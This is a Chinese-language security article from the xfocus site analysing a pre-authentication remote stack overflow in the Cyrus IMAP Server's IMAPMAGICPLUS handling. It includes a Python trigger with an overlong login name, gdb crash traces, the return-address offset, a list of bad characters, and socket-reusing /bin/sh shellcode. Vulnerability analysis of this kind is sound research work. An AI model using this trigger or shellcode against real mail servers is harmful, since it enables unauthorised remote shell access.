xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析


创建时间:2004-12-06
文章属性:原创
文章提交:san (san_at_xfocus.org)

Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析

Stefan Esser发现了Cyrus IMAP Server的四个漏洞,其中IMAPMAGICPLUS预验证远程缓冲区溢出漏洞最危险,也最容易利用。本小节主要介绍对此漏洞的分析。

1 定位漏洞

通过比较imapd.c源文件的Cyrus IMAP Server 2.2.8和2.2.9版本,可以很快发现问题代码出现在imapd_canon_user函数:

    if (config_getswitch(IMAPOPT_IMAPMAGICPLUS)) {
    /* make a working copy of the auth[z]id */
    memcpy(userbuf, user, ulen);
    userbuf[ulen] = '\0';
    user = userbuf;

userbuf是imapd_canon_user函数的一个局部变量,大小是MAX_MAILBOX_NAME+1,也就是491。user是imapd_canon_user函数带入的参数,并没有做长度检查,当IMAPOPT_IMAPMAGICPLUS选项打开的时候会执行memcpy操作,导致栈溢出,函数返回地址将被覆盖。在Cyrus IMAP Server 2.2.9版本的代码做了如下的修补:

    if (config_getswitch(IMAPOPT_IMAPMAGICPLUS)) {
    /* make a working copy of the auth[z]id */
    if (ulen > MAX_MAILBOX_NAME) {
        sasl_seterror(conn, 0, "buffer overflow while canonicalizing");
        return SASL_BUFOVER;
    }
    memcpy(userbuf, user, ulen);
    userbuf[ulen] = '\0';
    user = userbuf;

可以看到这是一个非常典型的栈溢出漏洞。

2 触发漏洞

虽然很容易就找到问题代码,但重要的是找出触发该漏洞的方法。首先得安装一个存在此漏洞的Cyrus IMAP Server,安装过程参见Cyrus的文档,本文不再详述。安装完以后在/etc/imapd.conf的最后加上如下行:

imapmagicplus: 1

这样就打开了IMAPMAGICPLUS选项,然后启动服务。user变量就是用户输入的用户名,那么尝试用python脚本登陆Cyrus IMAP Server:

[san@ /home/san/bugtrack]> python
Python 2.3.2 (#1, Nov 19 2003, 15:32:26)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import imaplib
>>> M = imaplib.IMAP4("192.168.7.100")
>>> M.login("A"*1024, "")

执行login之前,在另一个终端可以看到有个imapd进程被fork出来,用gdb调试器attach上这个进程:

[root@ /home/san/bugtrack]> ps aux|grep imapd
cyrus    27258  0.0  0.5 20796 1496 ?        S    16:39   0:00 imapd
[root@ /home/san/bugtrack]> gdb /usr/cyrus/bin/imapd 27258
GNU gdb Red Hat Linux (5.1-1)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
/home/san/bugtrack/27258: No such file or directory.
Attaching to program: /usr/cyrus/bin/imapd, process 27258
Reading symbols from /usr/local/lib/libsasl2.so.2...done.
Loaded symbols for /usr/local/lib/libsasl2.so.2
Reading symbols from /lib/libssl.so.2...done.
Loaded symbols for /lib/libssl.so.2
Reading symbols from /lib/libcrypto.so.2...done.
Loaded symbols for /lib/libcrypto.so.2
Reading symbols from /lib/libresolv.so.2...done.
Loaded symbols for /lib/libresolv.so.2
Reading symbols from /lib/libdb-3.2.so...done.
Loaded symbols for /lib/libdb-3.2.so
Reading symbols from /lib/libcom_err.so.2...done.
Loaded symbols for /lib/libcom_err.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0x402ecafe in __select () from /lib/i686/libc.so.6
(gdb) c
Continuing.

按c继续后,在python的终端执行超长用户名的login操作,这时gdb的终端报出一个段错误:

Program received signal SIGSEGV, Segmentation fault.
0x0804dc89 in imapd_canon_user (conn=0x41414141, context=0x41414141,
    user=0x41414141 <Address 0x41414141 out of bounds>, ulen=1094795585,
    flags=1094795585,
    user_realm=0x41414141 <Address 0x41414141 out of bounds>,
    out=0x41414141 <Address 0x41414141 out of bounds>, out_max=1094795585,
    out_ulen=0x41414141) at imapd.c:291
291             userbuf[ulen] = '\0';
(gdb)

这个imapd进程在imapd_canon_user函数里崩溃了,但是却是在"userbuf[ulen] = '\0';"的时候崩溃了,查看这时系统情况:

(gdb) x/i $pc
0x804dc89 <imapd_canon_user+81>:        movb   $0x0,(%eax,%ebx,1)
(gdb) x/5i $pc-8
0x804dc81 <imapd_canon_user+73>:        call   0x804be18 <memcpy>
0x804dc86 <imapd_canon_user+78>:        mov    0x14(%ebp),%eax
0x804dc89 <imapd_canon_user+81>:        movb   $0x0,(%eax,%ebx,1)
0x804dc8d <imapd_canon_user+85>:        pop    %edx
0x804dc8e <imapd_canon_user+86>:        pop    %ecx
(gdb) i reg $ebp $eax $ebx
ebp            0xbfffd0c8       0xbfffd0c8
eax            0x41414141       1094795585
ebx            0xbfffcec0       -1073754432
(gdb) x/20x $ebp
0xbfffd0c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffd0d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffd0e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffd0f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffd108:     0x41414141      0x41414141      0x41414141      0x41414141

原来ulen是imapd_canon_user函数的压栈参数,由于溢出的数据覆盖它在堆栈中保存的位置,所以取出的ulen是0x41414141。用它来查找userbuf的最后一个字符就导致内存访问越界了,所以user变量不能太大,最好正好覆盖函数返回地址。经过测试,用户名字串长度是528个字符的时候正好覆盖函数返回地址。用上面同样的方法执行login操作,这时gdb得到的信息如下:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i reg
eax            0xfffffffd       -3
ecx            0x0      0
edx            0x4033a2a0       1077125792
ebx            0x41414141       1094795585
esp            0xbfffd0d0       0xbfffd0d0
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
...

现在eip变成可控的地址,接下来就可以写利用程序了。

3 利用程序的实现

把python那三行代码执行的过程用tcpdump抓包进行分析,发现imap的登陆会发两个包。首先会发一个CAPABILITY的包,然后发送LOGIN数据包,根据这些信息很容易就能写出利用程序。可是在实际尝试过程中就可以发现,发送完异常LOGIN数据包后,imap会返回类似如下的信息:

ABCF1 BAD Missing required argument to Login

这是由于作为用户名的shellcode和返回地址包含了imap的特殊字符,发送到服务器以后被转义了,所以不能成功。经过测试,发现如下的字符不能出现在shellcode和返回地址里:

0x22
0x0C
0x0B
0x00
0x09
0x0D
0x0A
0x20

过滤了shellcode里的这些字符果然能够顺利执行到shellcode,但是测试了那些搜索套接字的shellcode都不能成功。无意中发现这个imap服务会把特别大的数当作当前连接的套接字,也就是下面的代码相当于搜索套接字shellcode的功能:

        jmp     locate_addr
find_s:
        pop     %edi                    /* The address of sting /bin/sh */

        xorl    %ebx, %ebx
        decl    %ebx                    /* Amazing socket ;) */

        pushl   $0x2
        popl    %ecx
dup2s:
        movb    $0x3f,%al               /* sys_dup */
        int     $0x80

        decl    %ecx
        jns     dup2s

        xorl    %eax, %eax
        movl    %edi, %ebx              /* /bin/sh */
        leal    0x8(%edi), %edx         /* -isp */
        pushl   %eax
        pushl   %edx
        pushl   %ebx
        movl    %esp, %ecx              /* argv */
        xorl    %edx, %edx              /* envp=NULL */
        movb    $0x0b,%al               /* sys_execve */
        int     $0x80

        xor     %ebx,%ebx
        mov     %ebx,%eax
        inc     %eax
        int     $0x80                   /* sys_exit */

locate_addr:
        call    find_s
        .byte   '/', 'b', 'i', 'n', '/', 's', 'h', 0x0, '-', 'i', 's', 'p', 0x0

为什么这样笔者也不是很清楚,笔者测试的环境是RedHat 7.2,如果有读者知道原因还希望不吝赐教。